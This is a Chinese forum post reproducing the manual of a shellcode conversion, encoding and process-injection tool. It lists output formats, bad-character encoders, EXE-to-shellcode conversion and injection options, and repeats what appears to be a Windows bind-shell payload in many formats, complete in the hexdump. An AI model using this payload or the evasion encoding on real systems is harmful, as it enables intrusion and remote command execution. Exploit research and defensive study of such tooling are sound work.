好友
阅读权限 35
听众
最后登录 1970-1-1
风吹屁屁凉
发表于 2011-10-11 20:26
Shellcode Helper v1.51 Coded by TeLeMan (c) 2008-2011
Usage: schelper [options]
Options:
-i [input file] input file (Default: stdin)
-o [output file] output file (Default: stdout)
-s <format> input file format (Default: Auto-Detection)
-sb input file format is Binary
-sp <paras> the input file format's parameters
-d <format> output file format (Default: C format)
-db output file format is Binary
-dp <paras> the output file format's parameters
-off <offset> convert the input file from the offset (Default: 0)
-len <length> convert the input file with the length (Default: 0 - MAX)
-en [encoder] encode shellcode (Default: XorDword)
-de [encoder] decode shellcode (Default: Auto-Detection)
-ex <chars> exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00)
-in <chars> incude characters only
-ep <paras> the encoder's parameters
-t [pid] execute or inject shellcode into process for testing
-td [pid] execute or inject shellcode into process for debugging
-stack put shellcode into stack and execute it (ESP is the shellcode start)
-noinfo display no normal messages except error messages
Available formats:
0 - C
1 - C(HexArray)
2 - Perl
3 - Python
4 - Ruby
5 - JavaScript(Escape)
6 - VBScript(Escape)
7 - Pascal
8 - MASM(Data)
9 - HexDump
10 - BinaryString
11 - HexString
12 - HexArray(C like)
13 - Base64
14 - Binary
15 - HexString(C like)
16 - HexString(Escape)
17 - HexString(JavaScript,UNICODE)
18 - URI(ISO-8859-1)
19 - XML(PCDATA)
20 - BigNumber
21 - BigNumber(Hex)
22 - BigNumber(BaseX)
23 - FloatPoint
24 - UnixTimestamp
25 - GUID
26 - MASM(ASM)
27 - NASM
28 - YASM(ASM)
29 - FASM(ASM)
30 - JWASM(ASM)
31 - POASM(ASM)
32 - GOASM(ASM)
33 - GNU ASM
Available encoders:
0 - XorDword
1 - XorWord
2 - XorByte
3 - Countdown
4 - PrintableASCII
5 - ALPHA2
6 - Exe
7 - GenenalDecoder
8 - Reverse
9 - Unicode(UCS-2)
10 - UTF-8
11 - CRC
12 - Deflate
13 - BZip2
14 - LZMA
15 - aPLib
16 - None
一、命令行参数说明:
(1) 参数"-i"用于指定输入文件名,当参数"-i"后面不指定文件名时,从键盘输入接收输入数据。
当不使用"-i"参数时,将从标准输入(stdin)接收输入数据。
(2) 参数"-o"用于指定输出文件名,当不使用"-o"参数或参数"-o"后面不指定文件名时,数据输出到标准输出(stdout)。
(3) 参数"-s"用于指定输入数据的格式,当不使用"-s"参数时,采用自动识别数据格式。
还有一部分格式无法自动识别,只能明确指定。
(4) 参数"-sb"用于快速指定输入数据格式是二进制格式。
(5) 参数"-sp"用于指定输入数据格式的参数。该参数配合参数"-s"来使用。
使用参数"-sp ?"可以查看数据格式参数的帮助信息(必须有输入数据才能看到数据格式的参数)。
(6) 参数"-d"用于指定输出数据的格式,当不使用"-d"参数时,默认输出C语言字符串格式。
(7) 参数"-db"用于快速指定输出数据格式是二进制格式。
(8) 参数"-dp"用于指定输入数据格式的参数。该参数配合参数"-d"来使用。
使用参数"-dp ?"可以查看参数的帮助信息。
(9) 参数"-off"用于指定读取输入数据的起始偏移量(支持十进制和十六进制格式),这个偏移量值是输入数据转成二进制格式的偏移量。
(10) 参数"-len"用于指定读取输入数据的长度(支持十进制和十六进制格式),这个长度值是输入数据转成二进制格式的长度。
(11) 参数"-en"用于给shellcode进行编码,如果不指定encoder号,默认使用XorDword进行编码。
(12) 参数"-de"用于给编码后的shellcode进行解码,如果不指定encoder号,自动判断进行解码。
(13) 参数"-ex"用于设置shellcode编码时不能包含哪些字符(支持十进制和十六进制格式)。该参数配合参数"-en"来使用。
(14) 参数"-in"用于设置shellcode编码时只能包含哪些字符(支持十进制和十六进制格式)。该参数配合参数"-en"来使用。
(15) 参数"-ep"用于指定shellcode encoder的参数。该参数配合参数"-en"和"-de"来使用。
使用参数"-ep ?"可以查看encoder参数的帮助信息。
(16) 参数"-t"用于测试shellcode执行情况,如果指定进程号,则会把shellcode注入到对应的进程中执行。
如果注入NT服务的进程需要有SYSTEM权限。
(17) 参数"-td"用于调试shellcode执行情况,使用方法与参数"-t"类似,只不过执行的第一条指令是INT3,用于调用外部调试器。
(18) 参数"-stack"用于测试或者调试开始执行地址是ESP的特殊shellcode。该参数配合参数"-t"或者"-td"来使用。
(19) 参数"-noinfo"用于禁止一些提示信息的显示。此参数主要用于批量转换时,防止提示信息干扰正常的输出数据。
二、格式说明:
(1) C
C语言字符串格式,输出形式如下:
unsigned char shellcode[] =
"\xFC\x6A\xEB\x4D\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45"
"\x3C\x8B\x7C\x05\x78\x01\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49"
"\x51\x51\x6A\x01\x51\x51\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53"
"\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x8B\x57\xFC\x83\xC4\x64\xFF\xD6"
"\x52\xFF\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
对此格式的识别,要求有完整的字符串变量声明,包括结尾的';'字符。
支持批量识别(所谓批量识别是当一个输入数据中包含多个变量可以同时进行转换,
提高对wireshark的一系列包的数据转换效率),支持不限于16进制格式的任意C语言字符串识别,
支持包含注释。
(2) C(HexArray)
C语言十六进制数组格式,输出形式如下:
unsigned char shellcode[] =
{
0xFC, 0x6A, 0xEB, 0x4D, 0xE8, 0xF9, 0xFF, 0xFF,
0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
0x3C, 0x8B, 0x7C, 0x05, 0x78, 0x01, 0xEF, 0x8B,
0xFF, 0xD0, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x53,
0xFF, 0xD6, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD0,
0x8B, 0x57, 0xFC, 0x83, 0xC4, 0x64, 0xFF, 0xD6,
0x52, 0xFF, 0xD0, 0x68, 0xEF, 0xCE, 0xE0, 0x60,
0x53, 0xFF, 0xD6, 0xFF, 0xD0
};
对此格式的识别,要求有完整的十六进制数组变量声明(支持char,short,int,long的数组类型),
包括结尾的';'字符。
支持批量识别,支持包含注释,并包含支持十进制和八进制的形式。
(3) Perl
Perl语言字符串格式,输出形式如下:
my $shellcode =
"\xFC\x6A\xEB\x4D\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45".
"\x3C\x8B\x7C\x05\x78\x01\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49".
"\x51\x51\x6A\x01\x51\x51\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53".
"\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x8B\x57\xFC\x83\xC4\x64\xFF\xD6".
"\x52\xFF\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";
对此格式的识别,要求有完整的字节串变量声明,包括结尾的';'字符,可以没有"my"。
支持批量识别,支持不限于16进制格式的任意Perl语言字符串识别,支持包含注释。
(4) Python
Python语言字符串格式,输出形式如下:
shellcode = (
"\xFC\x6A\xEB\x4D\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45"
"\x3C\x8B\x7C\x05\x78\x01\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49"
"\x51\x51\x6A\x01\x51\x51\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53"
"\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x8B\x57\xFC\x83\xC4\x64\xFF\xD6"
"\x52\xFF\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0")
对此格式的识别,要求有完整的字节串变量声明。
支持批量识别,支持不限于16进制格式的任意Python语言字符串识别,支持包含注释。
(5) Ruby
Ruby语言字符串格式,输出形式如下:
shellcode =
"\xFC\x6A\xEB\x4D\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45"+
"\x3C\x8B\x7C\x05\x78\x01\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49"+
"\x51\x51\x6A\x01\x51\x51\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53"+
"\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x8B\x57\xFC\x83\xC4\x64\xFF\xD6"+
"\x52\xFF\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0"
对此格式的识别,要求有完整的字节串变量声明。
支持批量识别,支持不限于16进制格式的任意Ruby语言字符串识别,支持包含注释。
(6) JavaScript(Escape)
JavaScript语言经过Escape后的字符串格式,输出形式如下:
var shellcode = unescape(
"%u6AFC%u4DEB%uF9E8%uFFFF%u60FF%u6C8B%u2424%u458B"+
"%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB"+
"%u5151%u016A%u5151%u5155%uD0FF%uAD68%u05D9%u53CE"+
"%uD6FF%uFF6A%u37FF%uD0FF%u578B%u83FC%u64C4%uD6FF"+
"%uFF52%u68D0%uCEEF%u60E0%uFF53%uFFD6%D0");
对此格式的识别,要求有完整的字节串变量声明,包括结尾的';'字符,可以没有"var"。
支持批量识别,支持不限于Escape形式任意JavaScript语言字符串识别,支持包含注释。
(7) VBScript(Escape)
VBScript语言经过Escape后的字符串格式,输出形式如下:
shellcode =
unescape("%u6AFC%u4DEB%uF9E8%uFFFF%u60FF%u6C8B%u2424%u458B") & _
unescape("%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB") & _
unescape("%u5151%u016A%u5151%u5155%uD0FF%uAD68%u05D9%u53CE") & _
unescape("%uD6FF%uFF6A%u37FF%uD0FF%u578B%u83FC%u64C4%uD6FF") & _
unescape("%uFF52%u68D0%uCEEF%u60E0%uFF53%uFFD6%D0")
对此格式的识别,要求有完整的字节串变量声明。
支持批量识别,支持不限于Escape形式任意VBScript语言字符串识别,支持包含注释。
(8) Pascal
Pascal语言字节数组格式,输出形式如下:
var shellcode: array[0..316] of char =
(
$FC, $6A, $EB, $4D, $E8, $F9, $FF, $FF,
$FF, $60, $8B, $6C, $24, $24, $8B, $45,
$3C, $8B, $7C, $05, $78, $01, $EF, $8B,
$4F, $18, $8B, $5F, $20, $01, $EB, $49,
$8B, $34, $8B, $01, $EE, $31, $C0, $99,
$FF, $D0, $68, $AD, $D9, $05, $CE, $53,
$FF, $D6, $6A, $FF, $FF, $37, $FF, $D0,
$8B, $57, $FC, $83, $C4, $64, $FF, $D6,
$52, $FF, $D0, $68, $EF, $CE, $E0, $60,
$53, $FF, $D6, $FF, $D0
);
对此格式的识别,要求有完整的字节数组变量声明,包括结尾的';'字符。
支持批量识别,支持包含注释。
(9) MASM(Data)
MASM语言字节数组格式,输出格式如下:
shellcode:
DB 0FCH, 06AH, 0EBH, 04DH, 0E8H, 0F9H, 0FFH, 0FFH
DB 0FFH, 060H, 08BH, 06CH, 024H, 024H, 08BH, 045H
DB 03CH, 08BH, 07CH, 005H, 078H, 001H, 0EFH, 08BH
DB 04FH, 018H, 08BH, 05FH, 020H, 001H, 0EBH, 049H
DB 0FFH, 0D0H, 068H, 0ADH, 0D9H, 005H, 0CEH, 053H
DB 0FFH, 0D6H, 06AH, 0FFH, 0FFH, 037H, 0FFH, 0D0H
DB 08BH, 057H, 0FCH, 083H, 0C4H, 064H, 0FFH, 0D6H
DB 052H, 0FFH, 0D0H, 068H, 0EFH, 0CEH, 0E0H, 060H
DB 053H, 0FFH, 0D6H, 0FFH, 0D0H
对此格式的识别,要求有标号或者类似下面直接定义变量的形式:
shellcode DB 0FCH, 06AH, 0EBH, 04DH, 0E8H, 0F9H, 0FFH, 0FFH
支持批量识别,支持包含注释。
(10) HexDump
此格式就是类似调试器显示数据的格式,输出格式如下:
00000000: FC 6A EB 4D E8 F9 FF FF FF 60 8B 6C 24 24 8B 45 ?jδMΦ????`?l$$?E
00000010: 3C 8B 7C 05 78 01 EF 8B 4F 18 8B 5F 20 01 EB 49 <?|.x.∩?O.?_ .δI
00000020: 8B 34 8B 01 EE 31 C0 99 AC 84 C0 74 07 C1 CA 0D ?4?.ε1└???└t.┴╩.
00000030: 01 C2 EB F4 3B 54 24 28 75 E5 8B 5F 24 01 EB 66 .┬δ?;T$(uσ?_$.δf
00000040: 8B 0C 4B 8B 5F 1C 01 EB 03 2C 8B 89 6C 24 1C 61 ?.K?_..δ.,??l$.a
00000050: C3 31 DB 64 8B 43 30 8B 40 0C 8B 70 1C AD 8B 40 ├1█d?C0?@.?p.??@
00000060: 08 5E 68 8E 4E 0E EC 50 FF D6 66 53 66 68 33 32 .^h?N.∞P?╓fSfh32
00000070: 68 77 73 32 5F 54 FF D0 68 CB ED FC 3B 50 FF D6 hws2_T?╨h╦φ?;P?╓
00000080: 5F 89 E5 66 81 ED 08 02 55 6A 02 FF D0 68 D9 09 _?σfüφ..Uj.?╨h┘.
00000090: F5 AD 57 FF D6 53 53 53 53 53 43 53 43 53 FF D0 ??W?╓SSSSSCSCS?╨
000000A0: 66 68 37 C5 66 53 89 E1 95 68 A4 1A 70 C7 57 FF fh7┼fS??òh?.p╟W?
000000B0: D6 6A 10 51 55 FF D0 68 A4 AD 2E E9 57 FF D6 53 ╓j.QU?╨h??.ΘW?╓S
000000C0: 55 FF D0 68 E5 49 86 49 57 FF D6 50 54 54 55 FF U?╨hσI?IW?╓PTTU?
000000D0: D0 93 68 E7 79 C6 79 57 FF D6 55 FF D0 66 6A 64 ╨?hτy╞yW?╓U?╨fjd
000000E0: 66 68 63 6D 89 E5 6A 50 59 29 CC 89 E7 6A 44 89 fhcm?σjPY)╠?τjD?
000000F0: E2 31 C0 F3 AA FE 42 2D FE 42 2C 93 8D 7A 38 AB Γ1└≤?■B-■B,?ìz8?
00000100: AB AB 68 72 FE B3 16 FF 75 44 FF D6 5B 57 52 51 ??hr■│.?uD?╓[WRQ
00000110: 51 51 6A 01 51 51 55 51 FF D0 68 AD D9 05 CE 53 QQj.QQUQ?╨h?┘.╬S
00000120: FF D6 6A FF FF 37 FF D0 8B 57 FC 83 C4 64 FF D6 ?╓j??7?╨?W?a─d?╓
00000130: 52 FF D0 68 EF CE E0 60 53 FF D6 FF D0 R?╨h∩╬α`S?╓?╨
对此格式的识别,要求至少包含一个完整行,即至少包含16个字节。
支持批量识别,支持偏移量为16位的形式(可以对wireshark中的"Offset Hex"格式进行识别)。
(11) BinaryString
纯二进制字符串格式(低位在前,高位在后),输出形式如下:
00111111 01010110 11010111 10110010 00010111 10011111 11111111 11111111 11111111
00000110 11010001 00110110 00100100 00100100 11010001 10100010 00111100 1101000
1 00111110 10100000 00011110 10000000 11110111 11010001 11110010 00011000 110100
01 11111010 00000100 10000000 11010111 10010010 11010001 00101100 11010001 10000
000 01110111 10001100 00000011 10011001 01000111 10001100 00000011 11001111 0101
0101 01111111 01000010 10110100 01111111 01000010 00110100 11001001 10110001 010
11110 00011100 11010101 11010101 11010101 00010110 01001110 01111111 11001101 01
101000 11111111 10101110 00100010 11111111 01101011 11011010 11101010 01001010 1
0001010 10001010 10001010 01010110 10000000 10001010 10001010 10101010 10001010
11111111 00001011 00010110 10110101 10011011 10100000 01110011 11001010 11111111
01101011 01010110 11111111 11111111 11101100 11111111 00001011 11010001 1110101
0 00111111 11000001 00100011 00100110 11111111 01101011 01001010 11111111 000010
11 00010110 11110111 01110011 00000111 00000110 11001010 11111111 01101011 11111
111 00001011
对此格式的识别,如果最后不足一个字节的数据,高位用零补齐。
(12) HexString
纯十六进制字符串格式,输出形式如下:
FC6AEB4DE8F9FFFFFF608B6C24248B453C8B7C057801EF8B4F188B5F2001EB498B348B01EE31C099
E231C0F3AAFE422DFE422C938D7A38ABABAB6872FEB316FF7544FFD65B57525151516A0151515551
FFD068ADD905CE53FFD66AFFFF37FFD08B57FC83C464FFD652FFD068EFCEE06053FFD6FFD0
(13) HexArray(C like)
类似C语言的纯十六进制数组格式(不包括声明和大括号),输出形式如下:
0xFC, 0x6A, 0xEB, 0x4D, 0xE8, 0xF9, 0xFF, 0xFF,
0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
0x3C, 0x8B, 0x7C, 0x05, 0x78, 0x01, 0xEF, 0x8B,
0xFF, 0xD0, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x53,
0xFF, 0xD6, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD0,
0x8B, 0x57, 0xFC, 0x83, 0xC4, 0x64, 0xFF, 0xD6,
0x52, 0xFF, 0xD0, 0x68, 0xEF, 0xCE, 0xE0, 0x60,
0x53, 0xFF, 0xD6, 0xFF, 0xD0
对此格式的识别,要求不能是带大括号形式。
支持包含注释,并包含支持十进制和八进制的形式。
(14) Base64
Base64标准编码格式,输出形式如下:
/GrrTej5////YItsJCSLRTyLfAV4Ae+LTxiLXyAB60mLNIsB7jHAmayEwHQHwcoNAcLr9DtUJCh15Ytf
JAHrZosMS4tfHAHrAyyLiWwkHGHDMdtki0Mwi0AMi3AcrYtACF5ojk4O7FD/1mZTZmgzMmh3czJfVP/Q
aMvt/DtQ/9ZfieVmge0IAlVqAv/QaNkJ9a1X/9ZTU1NTU0NTQ1P/0GZoN8VmU4nhlWikGnDHV//WahBR
Vf/QaKStLulX/9ZTVf/QaOVJhklX/9ZQVFRV/9CTaOd5xnlX/9ZV/9BmamRmaGNtieVqUFkpzInnakSJ
4jHA86r+Qi3+QiyTjXo4q6uraHL+sxb/dUT/1ltXUlFRUWoBUVFVUf/QaK3ZBc5T/9Zq//83/9CLV/yD
xGT/1lL/0GjvzuBgU//W/9A=
(15) Binary
原始二进制格式。
(16) HexString(C like)
类似C语言字符串中16进制格式(不包含引号),输出形式如下:
\xFC\x6A\xEB\x4D\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05
\x78\x01\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99
\xFE\xB3\x16\xFF\x75\x44\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51\x55\x51
\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x8B\x57\xFC\x83
\xC4\x64\xFF\xD6\x52\xFF\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0
对此格式的识别,要求不能是带引号形式。
支持不限于16进制格式的任意C语言字符串识别。
(17) HexString(Escape)
类似JavaScript和VBScript语言字符串Escape后的格式(不包含引号),输出形式如下:
%FC%6A%EB%4D%E8%F9%FF%FF%FF%60%8B%6C%24%24%8B%45%3C%8B%7C%05%78%01%EF%8B%4F%18
%8B%5F%20%01%EB%49%8B%34%8B%01%EE%31%C0%99%AC%84%C0%74%07%C1%CA%0D%01%C2%EB%F4%3B
%54%24%28%75%E5%8B%5F%24%01%EB%66%8B%0C%4B%8B%5F%1C%01%EB%03%2C%8B%89%6C%24%1C%61
%C6%79%57%FF%D6%55%FF%D0%66%6A%64%66%68%63%6D%89%E5%6A%50%59%29%CC%89%E7%6A%44%89
%37%FF%D0%8B%57%FC%83%C4%64%FF%D6%52%FF%D0%68%EF%CE%E0%60%53%FF%D6%FF%D0
对此格式的识别,要求不能是带引号形式。
支持不限于Escape形式任意JavaScript语言字符串识别。
(18) HexString(JavaScript,UNICODE)
JavaScript语言UNICODE形式字符串格式(不包含引号),输出形式如下:
\u00FC\u006A\u00EB\u004D\u00E8\u00F9\u00FF\u00FF\u00FF\u0060\u008B\u006C\u0024
\u0024\u008B\u0045\u003C\u008B\u007C\u0005\u0078\u0001\u00EF\u008B\u004F\u0018
\u00FF\u00D6\u005B\u0057\u0052\u0051\u0051\u0051\u006A\u0001\u0051\u0051\u0055
\u0051\u00FF\u00D0\u0068\u00AD\u00D9\u0005\u00CE\u0053\u00FF\u00D6\u006A\u00FF
\u00FF\u0037\u00FF\u00D0\u008B\u0057\u00FC\u0083\u00C4\u0064\u00FF\u00D6\u0052
\u00FF\u00D0\u0068\u00EF\u00CE\u00E0\u0060\u0053\u00FF\u00D6\u00FF\u00D0
对此格式的识别,要求不能是带引号形式。
支持不限于UNICODE形式任意JavaScript语言字符串识别。
(19) URI(ISO-8859-1)
字符编码是ISO-8859-1的URI格式,输出形式如下:
%FCj%EBM%E8%F9%FF%FF%FF%60%8Bl%24%24%8BE%3C%8B%7C%05x%01%EF%8BO%18%8B_%20%01%EBI
%8B4%8B%01%EE1%C0%99%AC%84%C0t%07%C1%CA%0D%01%C2%EB%F4%3BT%24(u%E5%8B_%24%01%EBf
%D6U%FF%D0fjdfhcm%89%E5jPY)%CC%89%E7jD%89%E21%C0%F3%AA%FEB-%FEB%2C%93%8Dz8%AB%A
B%ABhr%FE%B3%16%FFuD%FF%D6%5BWRQQQj%01QQUQ%FF%D0h%AD%D9%05%CES%FF%D6j%FF%FF7%FF%
D0%8BW%FC%83%C4d%FF%D6R%FF%D0h%EF%CE%E0%60S%FF%D6%FF%D0
此格式可以用于shellcode数据嵌入URL的形式。
(20) XML(PCDATA)
XML格式中PCDATA格式,输出形式如下:
<a href="http://test.com "/>
对此格式的识别,自定义的Entity不做转换而原样输出。
(21) BigNumber
大数的十进制格式(最大支持4932位十进制数,即16384bits),输出形式如下:
32447530995706046359081113701601675065697381483774428756390831970097471577137804
99175718799392520510237473329806321018426921400600091608039529939178270559684708
27037771136027131319851740445885534484811091201377179698955995399672523516
注:由于高位字节为0会被丢弃,转换后字节长度可能会发生变化。
(22) BigNumber(Hex)
大数的十六进制格式(最大支持4096位十六进制数,即16384bits),输出形式如下:
D0FFD6FF5360E0CEEF68D0FF52D6FF64C483FC578BD0FF37FFFF6AD6FF53CE05D9AD68D0FF515551
51016A51515152575BD6FF4475FF16B3FE99C031EE018B348B49EB01205F8B184F8BEF0178057C8B
3C458B24246C8B60FFFFFFF9E84DEB6AFC
此格式与HexString的区别是,HexString是低位在前的LE字节序,而BigNumber(Hex)是高位在前的BE字节序。
注:由于高位字节为0会被丢弃,转换后字节长度可能会发生变化。
(23) BigNumber(BaseX)
可自定义字符集的任意进制(2到256进制)大数格式(最大支持16384bits),输出形式如下:
二进制:
11010000111111111101011011111111010100110110000011100000110011101110111101101000
11010000111111110101001011010110111111110110010011000100100000111111110001010111
10001011110100001111111100110111111111111111111101101010110101101111111101010011
11001110000001011101100110101101011010001101000011111111010100010101010101010001
01010001000000010110101001010001010100010101000101010010010101110101101111010110
11111111010001000111010111111111000101101011001111111110100110011100000000110001
11101110000000011000101100110100100010110100100111101011000000010010000001011111
10001011000110000100111110001011111011110000000101111000000001010111110010001011
00111100010001011000101100100100001001000110110010001011011000001111111111111111
11111111111110011110100001001101111010110110101011111100
60进制:
3idNb7ne6M2dEhDRjWhXjlG15DlA1QDworU1IA6jSTmtaFMUZuWKnpJ1w9L2cJP92OfBrCP2m8LbnagS
8kuD2WrlFYqHKjWns2sPMbRPef83mrXdgc3tHtdq40uUPPWU2PPG
目前支持的参数格式如下:
BigNumber(BaseX) format's options: <base>,[charset]
base: 指定进制基数,值的范围是2到256。这个参数没有缺省值,必须指定。
charset: 指定某个进制下的字符集,用双引号包含,双引号内的字符为C语言的字符串格式。
当base的值为2到60时,可使用缺省字符集"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx"。
当base的值为64时,可使用缺省字符集"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"。
当base的值为256时,可使用缺省字符集"\x00\x01\x02...\xFE\xFF"。
当base的值为以上之外的值时,必须要指定字符集,字符集大小不能小于base的值。
注:由于高位字节为0会被丢弃,转换后字节长度可能会发生变化。
(24) FloatPoint
浮点数的十进制表示形式,输出格式如下:
2.2022463347205066e-038
目前支持的参数格式如下:
FloatPoint format's options: [bytes(4|8|10)]
参数bytes表示二进制浮点数的字节数,缺省为4:
4为单精度二进制浮点数,8为双精度二进制浮点数,10为扩展双精度二进制浮点数。
注:对于扩展双精度二进制浮点数到十进制浮点数转换,实际上先转成双精度二进制浮点数,再转成十进制浮点数转换。
因此扩展双精度浮点数超过双精度浮点数的范围时,转换后为浮点数溢出状态,而且有效位也有所减少。
即使不是扩展精度二进制数,转换时也可能会有精度损失。
(25) UnixTimestamp
Unix系统下的时间戳格式(支持32位和64位),输出格式如下:
Thu Jul 02 05:29:15 1970
对此格式的识别还支持RTC822的日期格式(忽略时区),如:
Mon, 13 Apr 2009 02:17:26 GMT
还支持“YYYY-MM-DD HH:MM:SS”的日期格式识别。
(26) GUID
多种GUID表示形式,输出格式如下:
a) 注册表中的格式:
{4DEB6AFC-F9E8-FFFF-FF60-8B6C24248B45}
b) 可用于IMPLEMENT_OLECREATE和DEFINE_GUID声明的格式:
0x4DEB6AFC, 0xF9E8, 0xFFFF, 0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45
c) GUID类型变量声明的格式:
const GUID shellcode =
{0x4DEB6AFC, 0xF9E8, 0xFFFF, {0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45}};
目前支持的参数格式如下:
GUID format's options: [format]
format: 0 - 注册表中的格式,此值为缺省值。
1 - 可用于IMPLEMENT_OLECREATE和DEFINE_GUID声明的格式。
2 - GUID类型变量声明的格式。
(27) MASM(ASM)
MASM汇编语言格式,支持32位和64位x86指令和ARM指令的汇编功能。
缺省汇编是针对32位的x86指令,使用"-sp x64"或"-sp arm"参数,就可以进行x64指令或ARM指令的汇编。
此格式不支持反汇编功能。
(28) NASM
NASM汇编语言格式,支持x86指令的汇编和反汇编功能。
生成16位、32位、64位的x86指令是在汇编语言中指定。
缺省反汇编是针对32位的x86指令,使用"-sp i8086"或"-sp x64",
就可以进行16位的x86或x64指令的反汇编。
反汇编的结果只用于查看,不能再次汇编。
(29) YASM(ASM)
YASM汇编语言格式,支持x86指令的汇编功能。
生成16位、32位、64位的x86指令是在汇编语言中指定。
此格式不支持反汇编功能。
(30) FASM(ASM)
FASM汇编语言格式,支持x86指令和ARM指令的汇编功能。
缺省汇编是x86的汇编功能,使用"-sp arm"参数,就可以进行ARM指令的汇编。
生成16位、32位、64位的x86指令是在汇编语言中指定。
此格式不支持反汇编功能。
(31) JWASM(ASM)
JWASM汇编语言格式,支持16位和32位x86指令的汇编功能。
生成16位、32位的x86指令是在汇编语言中指定。
此格式不支持反汇编功能。
(32) POASM(ASM)
POASM汇编语言格式,支持32位和64位x86指令、ARM指令的汇编功能。
缺省汇编是针对32位的x86指令,使用"-sp x64"或"-sp arm"参数,就可以进行x64指令或arm指令的汇编。
此格式不支持反汇编功能。
(33) GOASM(ASM)
GOASM汇编语言格式,支持32位和64位x86指令的汇编功能。
缺省汇编是针对32位的x86指令,使用"-sp x64参数,就可以进行x64指令的汇编。
此格式不支持反汇编功能。
注:由于GOASM主程序的问题,使用GOASM时,schelper.exe所在目录名不能包含空格。
(34) GNU ASM
GNU ASM汇编语言格式,支持32位x86指令和ARM指令的汇编和反汇编功能。
缺省汇编是针对32位的x86指令,使用"-sp arm",就可以进行arm指令的汇编。
缺省反汇编是针对32位的x86指令,使用"-sp i8086"或"-sp x64"或"-sp arm",
就可以进行16位x86指令或x64指令或arm指令的反汇编。
反汇编的结果只用于查看,不能再次汇编。
三、编码器说明:
(1) XorDword
XorDword最大支持262140字节,采用多种代码组合。
解码支持metasploit的Pex,PexFnstenvMov,PexFnstenvSub格式。
(2) XorWord
XorWord最大支持514个字节,采用多种代码组合。
XorWord解码代码大小和XorDword几乎一样,而且支持数据长度有限。
(3) XorByte
XorByte最大支持257个字节,采用多种代码组合。
XorByte解码代码较小,但支持数据长度有限。
(4) Countdown
Countdown最大支持257个字节,采用多种代码组合。
Countdown解码代码最小,但支持数据长度有限而且对不包含某些字符的支持比较差。
(5) PrintableASCII
PrintableASCII生成完全由可打印字符组成的shellcode,默认采用SEH方式跳到栈里执行。
因此生成的shellcode代码只能工作在Windows XP SP1以下的版本。
(6) ALPHA2
ALPHA2是Skylined实现的只由字母和数字组成的shellcode编码方式。更多的配置参数,
使用命令行参数"-ep ?"来查看。
由于metasploit的mixedcase模式采用了变形机制,因此不支持metasploit该模式解码
(请使用GenenalDecoder进行解码)。
(7) Exe
"Exe"是把普通PE格式的EXE或DLL文件转换成Shellcode的编码方式。对于EXE文件要求必须包含重定位表。
"Exe"编码器支持不压缩,APLIB压缩和LZMA压缩三种模式,默认自动尝试所有模式然后选取生成大小最小的模式。
模式选择也可以通过命令行参数来指定,目前支持的参数格式如下:
Exe encoder's options: [compress_method][,entry_name]
compress_method:0 - 不压缩; 1 - 使用APLIB压缩; 2 - 使用LZMA压缩; 其他值 - 自动选择
entry_name:当以0x为开头时,按照16进制的RVA地址指定入口;
当为纯数字时,按照DLL导出表中的序号指定入口;
当为其他字符串时,按照DLL导出表中的函数导出名指定入口。
注:"Exe"编码之后还不能直接在攻击代码中使用,因为会包含零这样的字符,
请再使用其他编码器来消除类似零这样的字符。
(8) GenenalDecoder
GenenalDecoder没有编码功能,只是用于shellcode的解码,支持metasploit提供的所有编码器。
GenenalDecoder使用x86 VM来判断和解码shellcode。目前GenenalDecoder只支持解码代码在前,
解码后的shellcode位于紧跟着解码代码之后的形式。
(9) Reverse
Reverse不是shellcode的编码器,而是数据转换器,提供翻转字节或者位功能。
参数"-ep byte"表示按字节翻转,为默认模式。
参数"-ep bit"表示按位翻转。
(10) Unicode(UCS-2)
Unicode(UCS-2)不是shellcode的编码器,而是数据转换器,提供非UNICODE字符串到UNICODE字符串的转换功能。
目前支持的参数格式如下:
Unicode encoder's options: [byte_order][,codepage]
